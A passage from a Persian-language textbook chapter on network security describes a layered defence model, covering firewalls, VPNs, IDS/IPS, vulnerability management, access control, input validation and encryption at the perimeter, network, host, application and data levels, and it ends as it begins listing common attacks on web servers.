و سپس تركيبي از سيستم هاي امنيتي را كه بـالاترين سـطح    –كه نياز به دسترسي دارند، نرخ رشد آن و غيره 

  محافظت را ايجاد مي كنند، با توجه به منابع در دسترس پياده سازي كنيد.

  دهمدل امنيت لايه بندي ش 8-2
در اين جدول مدل امنيت لايه بندي شده و بعضي از تكنولـوژي هـايي كـه در هـر سـطح مـورد اسـتفاده قـرار مـي          

   گيرند، ارائه شده اند. اين تكنولوژي ها با جزئيات بيشتر در بخش هاي بعدي مورد بحث قرار خواهند گرفت.

 سيستم هاي امنيتي قابل استفادهابزار و  سطح امنيتي رديف

 مونپيرا 1

  فايروال       
  آنتي ويروس در سطح شبكه       
 رمزنگاري شبكه خصوصي مجازي       

 شبكه 2

  )IDS/IPSتشخيص/جلوگيري از نفوذ ( سيستم        
  سيستم مديريت آسيب پذيري       
  تبعيت امنيتي كاربر انتهايي       
 كنترل دسترسي/ تاييد هويت كاربر       

 ميزبان 3

  سيستم تشخيص نفوذ ميزبان       
  سيستم ارزيابي آسيب پذيري ميزبان       
  تبعيت امنيتي كاربر انتهايي       
  آنتي ويروس       
 كنترل دسترسي/ تاييد هويت كاربر       

 برنامه كاربردي 4

  سيستم تشخيص نفوذ ميزبان       
  سيستم ارزيابي آسيب پذيري ميزبان       
  كنترل دسترسي/ تاييد هويت كاربر       
 تعيين صحت ورودي       

 داده 5
  رمزنگاري       
 كنترل دسترسي/ تاييد هويت كاربر       
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  امنيت پيرامون 8-2-1
عبـارتي بـه شـبكه غيرقابـل اعتمـاد اسـت.       ه منظور از پيرامون، اولين خط دفـاعي نسـبت بـه بيـرون و ب ـ    

ن نقطه تماس براي دفاع امنيتي محافظت كننده شبكه است. اين ناحيه اي است كه اولين و آخري» پيرامون«

شبكه به پايان مي رسد و اينترنت آغاز مي شود. پيرامـون شـامل يـك يـا چنـد فـايروال و مجموعـه اي از        

ــوان        ــه بعن ــد ك ــرار دارن ــون ق ــي از پيرام ــه در بخش ــت ك ــده اس ــرل ش ــدت كنت ــه ش ــرورهاي ب  DMZس

)demilitarized zone .شــناخته مــي شــود (DMZ  معمــولاً وب ســرورها، مــدخل ايميــل هــا، آنتــي

را دربرمي گيرد كه بايد در معرض اينترنت قرار گيرند. فايروال قوانين   DNSويروس شبكه و سرورهاي 

مي توانند  DMZسفت و سختي در مورد اينكه چه چيزي مي تواند وارد شبكه شود و چگونه سرورها در 

  كه داخلي تعامل داشته باشند، دارد.با اينترنت و شب

  پيرامون شبكه، به اختصار، دروازه شما به دنياي بيرون و برعكس، مدخل دنياي بيرون به شبكه شماست. 

  تكنولوژيهاي زير امنيت را در پيرامون شبكه ايجاد مي كنند:

   
ون و درون پيرامـون  معمولاً يك فايروال روي سروري نصب مي گردد كه به بيرفايروال ـ    8-2-1-1 ·

نقطـه   -3تبـديل آدرس و   -2كنترل ترافيك  -1شبكه متصل است. فايروال سه عمل اصلي انجام مي دهد 

. فايروال كنترل ترافيك را با سنجيدن مبداء و مقصد تمام ترافيك واردشونده و خارج شونده VPNپاياني 

عبور دارند. بعلاوه، فـايروال هـا بـه شـبكه     انجام مي دهد و تضمين مي كند كه تنها تقاضاهاي مجاز اجازه 

داخلي به آدرس هاي قابل رويت در اينترنت كمك مي كنند. ايـن كـار از    IPامن در تبديل آدرس هاي 

افشاي اطلاعات مهم درباره ساختار شبكه تحت پوشش فايروال جلوگيري مي كند. يك فايروال همچنين 

(كه بعداً بيشتر توضيح داده خواهد شد) عمل كند. اين سه  VPNمي تواند به عنوان نقطه پاياني تونل هاي 

  قابليت فايروال را تبديل به بخشي واجب براي امنيت شبكه شما مي كند.

نصـب مـي شـود و محتـواي ايميـل هـاي        DMZاين نرم افزار در  آنتي ويروس شبكه ـ     8-2-1-2· 

ويروس هاي شناخته شده مقايسـه مـي كنـد.    واردشونده و خارج شونده را با پايگاه داده اي از مشخصات 

اين آنتي ويروس ها آمد و شد ايميل هاي آلوده را مسدود مي كنند و آنها را قرنطينه مـي كننـد و سـپس     
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به دريافت كنندگان و مديران شبكه اطلاع مي دهنـد. ايـن عمـل از ورود و انتشـار يـك ايميـل آلـوده بـه         

سـترش ويـروس توسـط شـبكه شـما را مـي گيـرد. آنتـي         ويروس در شبكه جلوگيري مي كند و جلوي گ

ويروس شبكه، مكملي براي حفاظت ضدويروسي است كـه در سـرور ايميـل شـما و كامپيوترهـاي مجـزا       

  صورت مي گيرد. بمنظور كاركرد مؤثر، ديتابيس ويروس هاي شناخته شده بايد به روز نگه داشته شود.

   
 ·8-2-1-3   ·   VPN زي (يك شبكه اختصاصي مجـا ـVPN      از رمزنگـاري سـطح بـالا بـراي ايجـاد (

اساساً يـك   VPNارتباط امن بين ابزار دور از يكديگر، مانند لپ تاپ ها و شبكه مقصد استفاده مي كند. 

از ميان اينترنت ايجـاد مـي كنـد. ايـن     اما تونل رمزشده تقريباً با امنيت و محرمانگي يك شبكه اختصاصي 

پايان پـذيرد.   DMZ، فايروال يا يك سرور در ناحيه VPNرياب برپايه مي تواند در يك مسي VPNتونل 

براي تمام بخش هاي دور و بي سيم شبكه يك عمل مهم است كه نسبتاً آسان و  VPNبرقراري ارتباطات 

  ارزان پياده سازي مي شود.

   
 

Error!

  

   
  مزايا

بـا   ITتكنولوژي هاي ايجاد شده سطح پيرامون سال هاست كه در دسترس هسـتند، و بيشـتر خبرگـان    

يها و نيازهاي عملياتي آنها به خوبي آشنايي دارند. بنابراين، از نظر پياده سازي آسان و توأم با توجيـه  ايتوان
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فت و سختي براي اين تكنولوژيهـا ارائـه مـي دهنـد و     اقتصادي هستند. بعضياز فروشندگان راه حل هاي س

  بيشتر آنها به اين دليل پر هزينه هستند.

   
  معايب

از آنجا كه بيشتر اين سيستم ها تقريباً پايه اي هستند و مدت هاسـت كـه در دسـترس بـوده انـد، بيشـتر       

بزار آنتـي ويـروس نمـي    هكرهاي پيشرفته روش هايي براي دور زدن آنها نشان داده اند. براي مثال، يك ا

تواند ويروسي را شناسايي كند مگر اينكه از قبل علامت شناسايي ويروس را در ديتابيس خود داشته باشد 

رمزنگاري مؤثري ارائه مي كنـد،   VPNو اين ويروس داخل يك فايل رمزشده قرار نداشته باشد. اگرچه 

نند، چرا كـه كليـدهاي رمزنگـاري و گـروه     تحميل مي ك ITاما كار اجرايي بيشتري را برروي كارمندان 

  هاي كاربري بايد بصورت مداوم مديريت شوند.

   
  ملاحظات

پيچيدگي معماري شبكه شما مي تواند تأثير قابل ملاحظه اي روي ميزان اثر اين تكنولـوژي هـا داشـته    

يـروس خواهـد داشـت.    باشد. براي مثال، ارتباطات چندتايي به خارج احتمالاً نياز به چند فايروال و آنتي و

معماري شبكه بطوري كه تمام اين ارتباطات به ناحيه مشتركي ختم شود، بـه هركـدام از تكنولـوژي هـاي     

  تنهايي پوشش مؤثري براي شبكه ايجاد كنند.ه مذكور اجازه مي دهد كه ب

يت براي يك فاكتور مهم است. اين ابزارها چه ميزان اهمنيز شما قرار دارد  DMZانواع ابزاري كه در 

كسب و كار شما دارند؟ هرچه اهميت بيشتر باشد، معيارها و سياست هاي امنيتي سفت و سخت تري بايـد  

  اين ابزارها را مديريت كنند.

  امنيت شبكه  8-2-2· 
داخلي شـما اشـاره دارد. شـبكه داخلـي      LANو  WANسطح شبكه در مدل امنيت لايه بندي شده به 

تر و سرور و يا شايد پيچيده تر يعني شامل اتصـالات نقطـه بـه نقطـه بـه      كامپيوچند شما ممكن است شامل 

بيشتر شبكه هاي امروزي در وراي پيرامون، باز هستند؛ يعني هنگـامي كـه داخـل     .دفترهاي كار دور باشد
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شبكه قرار داريد، مي توانيد به راحتي در ميان شبكه حركت كنيد. اين قضيه بخصوص براي سازمان هـاي  

توسط صدق مي كند كه به اين ترتيب اين شبكه ها براي هكرها و افـراد بدانـديش ديگـر بـه     كوچك تا م

  اهدافي وسوسه انگيز مبدل مي شوند. تكنولوژي هاي ذيل امنيت را در سطح شبكه برقرار مي كنند:

   
8-2-2 -1  ·   IDS ها (سيستم هاي تشخيص نفوذ) وIPS  ها (سيستم هاي جلـوگيري از

ترافيك گذرنده در شبكه شما را با جزئيات بيشتر نسـبت بـه فـايروال     IPSو  IDSيهاي ـ تكنولوژ  نفوذ)

ترافيـك را تحليـل و هـر بسـته      IPSو  IDSتحليل مي كنند. مشابه سيستم هاي آنتي ويـروس، ابزارهـاي   

اطلاعات را با پايگاه داده اي از مشخصات حملات شناخته شده مقايسه مي كننـد. هنگـامي كـه حمـلات     

را از وقوع يك حمله  ITمسؤولين  IDSص داده مي شوند، اين ابزار وارد عمل مي شوند. ابزارهاي تشخي

آسـيب رسـان را    يك گام جلوتر مي روند و بصورت خودكار ترافيـك   IPSمطلع مي سازند؛ ابزارهاي 

 ها در هسـته IPSها مشخصات مشترك زيادي دارند. در حقيقت، بيشتر IPSها و IDSمسدود مي كنند. 

 IDSدارند. تفاوت كليدي بين اين تكنولوژي ها از نام آنها استنباط مي شود. محصولات  IDSخود يك 

بـه   ياز ورود چنـين ترافيك ـ  IPSتنها ترافيك آسيب رسان را تشخيص مي دهند، در حاليكه محصـولات  

  ه اند:استاندارد در شكل نشان داده شد  IPSو  IDSشبكه شما جلوگيري مي كنند. پيكربندي هاي 

   
سيستم هاي مديريت آسيب پذيري دو عملكرد مـرتبط را   –مديريت آسيب پذيري     2- 8-2-2 

)روند مرمت آسيب پذيري يافته 2) شبكه را براي آسيب پذيري ها پيمايش مي كنند و (1انجام مي دهند: (

مي شد. اما ايـن   ناميده )تخمين آسيب پذيري( VAشده را مديريت مي كنند. در گذشته، اين تكنولوژي 

تكنولوژي اصلاح شده است، تا جاييكه بيشتر سيستم هاي موجود، عملي بـيش از تخمـين آسـيب پـذيري     

 ابزار شبكه را انجام مي دهند.

سيستم هاي مديريت آسيب پذيري ابزار موجود در شبكه را براي يافتن رخنه ها و آسيب پـذيري هـايي     

يب رسان مورد بهره برداري قرار گيرند، پيمايش مي كنند. آنهـا  كه مي توانند توسط هكرها و ترافيك آس

معمولاً پايگاه داده اي از قوانيني را نگهداري مي كنند كه آسيب پذيري هاي شناخته شده براي گستره اي 
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از ابزارها و برنامه هاي شبكه را مشخص مي كنند. در طول يك پيمايش، سيستم هر ابزار يا برنامه اي را با 

 گيري قوانين مناسب مي آزمايد.بكار

مـديريت آسـيب پـذيري شـامل ويژگيهـايي اسـت كـه رونـد          همچنانكه از نامش برمي آيـد، سيسـتم      

بازسازي را مديريت مي كند. لازم به ذكر است كه ميزان و توانايي اين ويژگـي هـا در ميـان محصـولات     

  مختلف، فرق مي كند. 

   
روش هاي تابعيت امنيتي كاربر انتهايي به اين طريـق   – انتهايي تابعيت امنيتي كاربر   ·  3- 8-2-2

از شبكه محافظت مي كنند كه تضمين مي كنند كاربران انتهايي استانداردهاي امنيتي تعريف شده را قبـل  

از اينكه اجازه دسترسي به شبكه داشته باشند، رعايت كرده اند. اين عمل جلوي حمله بـه شـبكه از داخـل    

  مي گيرد. RASو  VPNاز طريق سيستم هاي ناامن كارمندان و ابزارهاي  خود شبكه را

روش هاي امنيت نقاط انتهايي براساس آزمايش هايي كه روي سيستم هايي كه قصد اتصال دارند، انجـام  

) نـرم افـزار مـورد    1(  مي دهند، اجازه دسترسي مي دهند. هدف آنها از اين تست ها معمولاً براي بررسي

) كاربردهاي ممنوع مانند اشتراك 2ند سرويس پك ها، آنتي ويروس هاي به روز شده و غيره و (نياز، مان

  فايل و نرم افزارهاي جاسوسي است. 

   
كنترل دسترسي نيازمند تأييد هويت كاربراني است  – تأييد هويت\كنترل دسترسي    ·  4- 8-2-2

بايد بـا ابـزار كنتـرل دسترسـي در سـطح شـبكه        كه به شبكه شما دسترسي دارند. هم كاربران و هم ابزارها

  كنترل شوند.

   
به كنترل دسترسي و تأييدهويت در سطوح شبكه، ميزبان، نـرم افـزار و ديتـا      در اين سلسله مباحث، نكته:

در چارچوب امنيتي لايه بندي شده مي پردازيم. ميان طرح هاي كنترل دسترسـي بـين لايـه هـاي مختلـف      

وجود دارد. معمولاً تراكنش هاي تأييد هويت در مقابل ديد كاربر اتفاق مي افتـد.  همپوشاني قابل توجهي 
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خاطر داشته باشيد كه كنترل دسترسـي و تأييـد هويـت مراحـل پيچيـده اي هسـتند كـه بـراي ايجـاد          ه اما ب

  بيشترين ميزان امنيت در شبكه، بايد به دقت مديريت شوند.

  مزايا
سيب پـذيري تحليـل هـاي پيچيـده اي روي تهديـدها و آسـيب       و مديريت آ IDS ،IPSتكنولوژي هاي 

پذيري هاي شبكه انجام مي دهند. در حاليكه فايروال به ترافيك، برپايه مقصد نهايي آن اجـازه عبـور مـي    

تجزيه و تحليل عميق تري را برعهده دارند، و بنابراين سطح بالاتري از محافظت  IDSو  IPSدهد، ابزار 

ا اين تكنولوژي هاي پيشرفته، حملاتي كه داخل ترافيك قانوني شـبكه وجـود دارنـد و    را ارائه مي كنند. ب

مي توانند از فايروال عبور كنند، مشخص خواهند شد و قبل از آسيب رساني به آنهـا خاتمـه داده خواهنـد    

  شد.

سيستم هاي مديريت آسيب پذيري روند بررسي آسيب پذيري هـاي شـبكه شـما را بصـورت خودكـار      

صورت دستي با تناوب مورد نياز براي تضـمين امنيـت، تـا    ه اج مي كنند. انجام چنين بررسي هايي باستخر

حدود زيادي غيرعملي خواهد بود. بعلاوه، شبكه ساختار پويايي دارد. ابزار جديد، ارتقاءدادن نرم افزارها 

جديـد را پديـد آورنـد.    همگي مي توانند آسيب پذيري هاي  و وصله ها، و افزودن و كاستن از كاربران، 

را مرتـب و كامـل بـراي جسـتجوي آسـيب       ابزار تخمين آسيب پذيري به شما اجازه مي دهند كه شـبكه  

  پذيري هاي جديد پيمايش كنيد.

مـي دهـد   را روش هاي تابعيت امنيتي كاربر انتهايي به سازمان ها سطح بالايي از كنترل بر روي ابـزاري  

وي آنها وجود داشته است. هكرها بصورت روز افزون به دنبال بهـره  كه به صورت سنتي كنترل كمي بر ر

، Mydoomبرداري از نقاط انتهايي براي داخل شدن به شبكه هستند، همچانكه پديده هاي اخيـر چـون   

Sobig و ،Sasser       گواهي بر اين مدعا هستند. برنامه هاي امنيتي كـاربران انتهـايي ايـن درهـاي پشـتي

  ي بندند.خطرناك به شبكه را م

  معايب
IDS    ها تمايل به توليد تعداد زيادي علائم هشدار غلط دارند، كـه بـه عنـوانfalse positives   نيـز

ممكن است كه يك حملـه را كشـف و بـه اطـلاع شـما برسـاند، ايـن         IDSشناخته مي شوند. در حاليكه 
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ممكـن   IDSد. مـديران  اطلاعات مي تواند زير انبوهي از هشدارهاي غلط يا ديتاي كم ارزش مدفون شو

سرعت حساسيت خود را نسبت بـه اطلاعـات توليـد شـده توسـط سيسـتم از دسـت بدهنـد. بـراي          ه است ب

بايد بصورت پيوسته بررسي شود و براي الگوهـاي مـورد اسـتفاده و آسـيب       IDSتأثيرگذاري بالا، يك 

ن بالايي از منـابع اجرايـي   پذيري هاي كشف شده در محيط شما تنظيم گردد. چنين نگهداري معمولاً ميزا

  را مصرف مي كند. 

ها مي تواند به ميزان زيادي در ميان محصولات، متفاوت باشد. بسـياري از  IPSسطح خودكار بودن در 

آنها بايد با دقت پيكربندي و مديريت شوند تا مشخصات الگوهاي ترافيك شبكه اي را كـه در آن نصـب   

تمالي در سيستمهايي كه بهينه نشده اند، مسـدود كـردن تقاضـاي    شده اند منعكس كنند. تأثيرات جانبي اح

  كاربران قانوني و قفل كردن منابع شبكه معتبر را شامل مي شود.

بسياري، اما نه همه روش هاي امنيتي كاربران انتهايي، نياز به نصب يك عامل در هر نقطه انتهـايي دارد.  

  رايي به نصب و نگهداري اضافه كند.اين عمل مي تواند مقدار قابل توجهي بار كاري اج

تكنولوژي هاي كنترل دسترسي ممكن است محدوديت هاي فني داشته باشند. براي مثال، بعضي ممكن 

است با تمام ابزار موجود در شبكه شما كار نكنند، بنابراين ممكن است به چند سيستم براي ايجاد پوشـش  

م هاي كنترل دسترسـي را بـه بـازار عرضـه مـي كننـد، و       نياز داشته باشيد. همچنين، چندين فروشنده سيست

عملكرد مي تواند بين محصولات مختلف متفاوت باشد. پياده سازي يك سيستم يكپارچه در يـك شـبكه   

پينه اي يعني رويكرد چنـد محصـولي ممكـن اسـت در واقـع      -ممكن است دشوار باشد. چنين عمل وصله

  وجود آورد.آسيب پذيري هاي بيشتري را در شبكه شما به 

   
  ملاحظات

نحوي به سرعت اتصالات داخلي شبكه شما وابسـته اسـت. زيـرا    ه موفقيت ابزارهاي امنيت سطح شبكه ب

، مديريت آسيب پذيري و امنيت كاربر انتهايي ممكن است منـابعي از شـبكه اي را    IDS/IPSابزارهاي 

تأثيري را كه اين ابزارها بر كارايي كه از آن محافظت مي كنند، مصرف كنند. سرعت هاي اتصالي بالاتر 

به حداقل خواهد رساند. در پياده سازي اين تكنولوژي ها شما بايـد بـه مصـالحه بـين امنيـت       شبكه دارند 
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بسياري از اين محصولات براي كاركرد مؤثر بايد بـه طـور    بهبوديافته و سهولت استفاده توجه كنيد، زيرا 

  استفاده از آن محصولات را در كل شبكه با زحمت مواجه سازد. پيوسته مديريت شوند و اين ممكن است

وقتي كه اين تكنولوژي ها را در اختيار داريد، بهبود پيوسته شبكه را در خـاطر داشـته باشـيد. در شـبكه     

  هايي با پويايي و سرعت گسترش بالا، تطبيق با شرايط و ابزار جديد ممكن است مسأله ساز گردد.

  ن امنيت ميزبا  8-2-3
سطح ميزبان در مدل امنيت لايه بندي شده، مربوط به ابزار منفرد ماننـد سـرورها، كامپيوترهـاي شخصـي،     

سوئيچ ها، روترها و غيره در شبكه اسـت. هـر ابـزار تعـدادي پـارامتر قابـل تنظـيم دارد و هنگـامي كـه بـه           

اين پارامترها شـامل تنظيمـات   نادرستي تنظيم شوند، مي توانند سوراخ هاي امنيتي نفوذپذيري ايجاد كنند. 

رجيستري، سرويس ها، توابع عملياتي روي خود ابزار يا وصله هاي سيستم هاي عامل يا نرم افزارهاي مهم 

  مي شود.

   

   
  ح ميزبان فراهم مي كنند:تكنولوژي هاي زير امنيت را در سط

8-2-3 -1  ·IDS ـ    در سطح ميزبانIDS هاي سطح ميزبان عملياتي مشابهIDS   هاي شـبكه انجـام

هـاي سـطح ميزبـان    IDSمي دهند؛ تفاوت اصلي در نمايش ترافيك در يك ابزار شبكه به تنهـايي اسـت.   

اين اگـر بـه درسـتي مـديريت     براي مشخصات عملياتي بخصوصي از ابزار ميزبان تنظيم مي گردند و بنـابر 

  شوند، درجه بالايي از مراقبت را فراهم مي كنند.
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8-2-3 -2  · VA ابزارهاي  - (تخمين آسيب پذيري) سطح ميزبانVA   سطح ميزبان يك ابـزار

شبكه مجزا را براي آسيب پذيري هاي امنيتي پويش مي كنند. دقت آنها نسبتا بالاست و كمترين نياز را به 

ها بطور مشخص براي ابزار ميزبان پيكربندي مي شـوند، درصـورت    VAن دارند. از آنجايي كه منابع ميزبا

  مديريت مناسب، سطح بسيار بالايي از پوشش را فراهم مي كنند.

روش هـاي تابعيـت امنيتـي كـاربر انتهـايي وظيفـه        – تابعيت امنيتـي كـاربر انتهـايي    ·  3- 8-2-3

مانگونه در بخش قبلي مطرح شد) و هـم ميزبـان هـاي جداگانـه را     دوچنداني ايفا مي كنند و هم شبكه (ه

محافظت مي كنند. اين روش ها بطور پيوسته ميزبان را براي عمليات زيان رسان و آلودگي ها بررسي مـي  

  كنند و همچنين به نصب و به روز بودن فايروال ها و آنتي ويروس ها رسيدگي مي كنند.

ي كه آنتي ويروس هاي مشخص شده براي ابـزار در كنـار آنتـي    هنگام -آنتي ويروس  ·  4- 8-2-3

  ويروس هاي شبكه استفاده مي شوند ، لايه اضافه اي براي محافظت فراهم مي كنند.

ابزار كنتـرل دسترسـي در سـطح ابـزار يـك روش       -تصديق هويت\كنترل دسترسي·  5- 8-2-3

ربران مجاز صورت پذيرد. در اينجـا نيـز،   مناسب است كه تضمين مي كند دسترسي به ابزار تنها توسط كا

  احتمال سطح بالايي از تراكنش بين ابزار كنترل دسترسي شبكه و كنترل دسترسي ميزبان وجود دارد. 
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  مزايا
بـان حفاظـت بـالايي ايجـاد مـي كننـد زيـرا بـراي بـرآورده كـردن           اين تكنولوژي هـاي در سـطح ميز  

مشخصات عملياتي مخصوص يك ابزار پيكربندي مي گردند. دقت و پاسخ دهي آنها به محيط ميزبان بـه  

مديران اجازه مي دهد كه به سرعت مشخص كنند كدام تنظميات ابزار نياز به به روز رساني براي تضـمين  

  عمليات امن دارند.

  معايب
بكارگيري و مديريت سيستم هاي سطح ميزبان مي تواند بسيار زمان بر باشند. از آنجايي كه اين سيستم ها 

نياز به نمايش و به روز رساني مداوم دارند، اغلب ساعات زيادي براي مديريت مناسب مـي طلبنـد. اغلـب    

همچنـين، هرچـه سيسـتم     نصبشان مشكل است و تلاش قابل ملاحظه اي براي تنظيم آنها مورد نيـاز اسـت.  

عامل بيشتري در شبكه داشته باشيد، يك رويكرد برپايه ميزبان، گران تر خواهد بود و مديريت ايـن ابـزار   

مشكل تر خواهد شد. همچنين، با تعداد زيادي ابزار امنيتي سطح ميزبان در يك شبكه، تعـداد هشـدارها و   

  علائم اشتباه مي تواند بسيار زياد باشد.

  ملاحظات
دليل هزينه ها و باراضافي مديريت، ابزار در سطح ميزبان بايد بدقت بكار گرفته شوند. بعنوان يـك اصـل   ب

راهنما، بيشتر سازمان ها اين ابزار را فقط روي سيستم هاي بسيار حساس شبكه نصب مي كنند. استثناء اين 

ادن به هر ايستگاه كاري كه اصل يك راه حل تابعيت امنيتي كاربر انتهايي است، كه اغلب براي پوشش د

  تلاش مي كند به شبكه دسترسي پيدا كند، بكار گرفته مي شود.

  امنيت برنامه كاربردي   8-2-4
در حال حاضر امنيت سطح برنامه كاربردي بخش زيادي از توجه را معطوف خود كرده است. برنامه هايي 

ي به ديتا و ركوردهاي محرمانه فراهم كنند. كه به ميزان كافي محافظت نشده اند، مي توانند دسترسي آسان

حقيقت تلخ اين است كه بيشتر برنامه نويسان هنگام توليد كد به امنيـت توجـه ندارنـد. ايـن يـك مشـكل       

تاريخي در بسياري از برنامه هاي با توليد انبوه است. ممكن است شما از كمبود امنيت در نرم افزارها آگاه 

  را نداشته باشيد.شويد، اما قدرت تصحيح آنها 
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برنامه ها براي دسترسي مشتريان، شركا و حتي كارمندان حاضر در محـل هـاي ديگـر، روي وب قـرار     

داده مي شوند. اين برنامه ها، همچون بخش فروش، مديريت ارتباط با مشتري، يا سيستم هـاي مـالي، مـي    

سـيار مهـم اسـت كـه يـك اسـتراتژي       توانند هدف خوبي براي افرادي كه نيات بد دارند، باشند. بنـابراين ب 

  امنيتي جامع براي هر برنامه تحت شبكه اعمال شود. 

   

   
   

  تكنولوژي هاي زير امنيت را در سطح برنامه فراهم مي كنند:

از پوشش محافظ برنامه به كـرات بـه عنـوان فـايروال سـطح       – نامهپوشش محافظ بر   ·  1- 8-2-4

برنامه ياد مي شود و تضمين مي كند كه تقاضاهاي وارد شونده و خارج شونده براي برنامه مورد نظر مجاز 

هستند. يك پوشش كه معمولاً روي سرورهاي وب، سـرورهاي ايميـل، سـرورهاي پايگـاه داده و ماشـين      

  د، براي كاربر شفاف است و با درجه بالايي با سيستم يكپارچه مي شود. هاي مشابه نصب مي شو

يـك   يك پوشش محافظ برنامه براي عملكرد مورد انتظار سيستم ميزبان تنظـيم مـي گـردد. بـراي مثـال،      

پوشش روي سرور ايميل به اين منظور پيكربندي مي شود تا جلوي اجراي خودكار برنامه ها توسط ايميل 

  نده را بگيرد، زيرا اين كار براي ايميل معمول يا لازم نيست.هاي وارد شو

مانند تصديق هويـت در سـطح شـبكه و ميزبـان،      -كنترل دسترسي/تصديق هويت   ·  2- 8-2-4

  تنها كاربران مجاز مي توانند به برنامه دسترسي داشته باشند.

ي مي كنند كه ورودي ابزارهاي تعيين صحت ورودي بررس  - تعيين صحت ورودي   ·  3- 8-2-4

گذرنده از شبكه براي پردازش امن باشد. اگر ابزارهاي امنيتي مناسب در جـاي خـود مـورد اسـتفاده قـرار      
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نگيرند، هر تراكنش بين افراد و واسط كاربر مي تواند خطاهاي ورودي توليد كند. عموماً هر تـراكنش بـا   

  لافش ثابت شود!سرور وب شما بايد ناامن در نظر گرفته شود مگر اينكه خ

را در نظر بگيريد. تنها ورودي قابل پذيرش در اين  zip codeبه عنوان مثال، يك فرم وبي با يك بخش 

قسمت فقط پنج كاراكتر عددي است. تمام ورودي هاي ديگر بايد مردود شوند و يـك پيـام خطـا توليـد     

يـك اسـكريپت جـاوا مـي      شود. تعيين صحت ورودي بايد در چندين سطح صورت گيرد. در ايـن مثـال،  

تواند تعيين صحت را در سطح مرورگر در سيستم سرويس گيرنده انجـام دهـد، در حاليكـه كنتـرل هـاي      

  بيشتر مي تواند در سرور وب قرار گيرد. اصول بيشتر شامل موارد زير مي شوند:

بايد بررسي و در صورت  ،»insert«كليد واژه ها را فيلتر كنيد. بيشتر عبارات مربوط به فرمانها مانند     -

  نياز مسدود شوند.

حرفـي   75فقط ديتايي را بپذيريد كه براي فليد معين انتظار مي رود. براي مثال، يـك اسـم كوچـك        -

  يك ورودي استاندارد نيست.

  مزايا
ابزارهاي امنيت سطح برنامه موقعيت امنيتي كلي را تقويت مي كنند و به شـما اجـازه كنتـرل بهتـري روي     

امه هايتان را مي دهند. همچنين سطح بـالاتري از جوابگـويي را فـراهم مـي كننـد چـرا كـه بسـياري از         برن

  داده شده توسط اين ابزارها، ثبت شده و قابل رديابي هستند. فعاليت هاي نمايش 

  معايب
يـد بصـورت   پياده سازي جامع امنيت سطح برنامه مي تواند هزينه بر باشد، چرا كه هر برنامه و ميزبان آن با

پيكربندي و مديريت شود. بعلاوه، بالابردن امنيت يك شـبكه بـا امنيـت سـطح برنامـه مـي        مجزا ارزيابي، 

تواند عملي ترسناك! و غيرعملي باشد. هرچه زودتر بتوانيد سياست هايي براي استفاده از اين ابزارها پياده 

  كنيد، روند مذكور موثرتر و ارزان تر خواهد بود.

  ملاحظات
حظات كليدي برنامه ها و طرح هاي شما را براي بلندمـدت اولويـت بنـدي مـي كننـد. امنيـت را روي       ملا

برنامه ها كاربردي خود در جايي پياده كنيد كـه بيشـترين منفعـت مـالي را بـراي شـما دارد. طـرح ريـزي         
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كه تـان پيـاده   بلندمدت به شما اجازه مي دهد كه ابزارهاي امنيتي را با روشي تحت كنترل در طي رشد شب

  سازي كنيد و از هزينه هاي اضافي جلوگيري مي كند.

  امنيت ديتا  8-2-5
امنيتي و رمزنگاري را دربرمي گيرد. رمزنگاري ديتا، هنگامي كـه   امنيت سطح ديتا تركيبي از سياست 

ا ذخيره مي شود و يا در شبكه شما حركت مي كند، به عنوان روشي بسيار مناسب توصيه مـي گـردد، زيـر   

چنانچه تمام ابزارهاي امنيتـي ديگـر از كـار بيفتنـد، يـك طـرح رمزنگـاري قـوي ديتـاي مخـتص شـما را            

محافظت مي كند. امنيت ديتا تا حد زيادي به سياست هاي سازماني شما وابسته است. سياست سازماني مي 

ي كنند و چه كسي گويد كه چه كسي به ديتا دسترسي دارد، كدام كاربران مجاز مي توانند آن را دستكار

مسوول نهايي يكپارچگي و امن ماندن آن است. تعيين صاحب و متولي ديتا بـه شـما اجـازه مـي دهـد كـه       

  سياست هاي دسترسي و ابزار امنيتي مناسبي را كه بايد بكار گرفته شوند، مشخص كنيد.

  تكنولوژي هاي زير امنيت در سطح ديتا را فراهم مي كنند:

مـي   طرح هاي رمزنگاري ديتا در سطوح ديتا، برنامه و سيستم عامل پياده  – رمزنگاري   ·  8-2-5-1

تمام طرح ها شامل كليدهاي رمزنگاري/رمزگشـايي هسـتند كـه تمـام افـرادي كـه بـه ديتـا          شوند. تقريباً 

  هستند. RSAو  PKI ،PGPدسترسي دارند، بايد داشته باشند. استراتژي هاي رمزنگاري معمول شامل 

مانند تصديق هويـت سـطوح شـبكه، ميزبـان و      – كنترل دسترسي / تصديق هويت   ·  8-2-5-2

  برنامه، تنها كاربران مجاز دسترسي به ديتا خواهند داشت.
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  مزايا
كنـد. چنانچـه نفـوذگران تمـام      رمزنگاري روش اثبات شده اي براي محافظت از ديتاي شما فراهم مي

ابزارهاي امنيتي ديگر در شبكه شما را خنثي كنند، رمزنگاري يك مانع نهـايي و مـوثر بـراي محافظـت از     

  ديجيتال شما فراهم مي كند. اطلاعات خصوصي و دارايي 

  معايب
رايي بار اضافي براي رمزنگاري و رمزگشايي ديتا وجـود دارد كـه مـي توانـد تـأثيرات زيـادي در كـا       

بگذارد. به علاوه، مديريت كليدها مي تواند تبديل به يك بار اجرايي در سازمان هاي بزرگ يـا در حـال   

  رشد گردد.

  ملاحظات
رمزنگاري تا عمق مشخص بايد به دقت مديريت شود. كليدهاي رمزنگاري بايد براي تمام ابزارها و برنامه 

ل، يك بار مديريتي براي يك برنامه رمزنگاري موثر هاي تحت تأثير تنظيم و هماهنگ شوند. به همين دلي

  مورد نياز است

  دفاع در مقابل تهديدها و حملات معمول  8-3
كه چگونه رويكرد امنيت لايه بندي شـده در مقابـل تهديـدها و حمـلات      مطالب ذكر شده نشان مي دهد

اشـتن نقشـي كليـدي در    معمول از شبكه شما محافظت مي كند و نشان مي دهد كه چگونه هر سـطح بـا د  

  برقراري امنيت شبكه جامع و مؤثر، شركت مي كند. 
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  بعضي حملات معمول شامل موارد زير مي شود:

ـ حملات به وب سرور دامنه زيادي از مشكلاتي را كه تقريباً براي هر  حملات به وب سرور   ·8-3-1

ده در صفحات گرفته تا در اختيـار گـرفتن   وب سرور ايجاد مي شود، در برمي گيرد. از دستكاري هاي سا

. امروزه حملات به وب سرور يكي از معمول ترين حملات هستند. DOSسيستم از راه دور و تا حملات 

Code Red  وNimda عنوان حمله كنندگان به وب سرورها از شهرت زيادي! برخوردارند. ه ب  

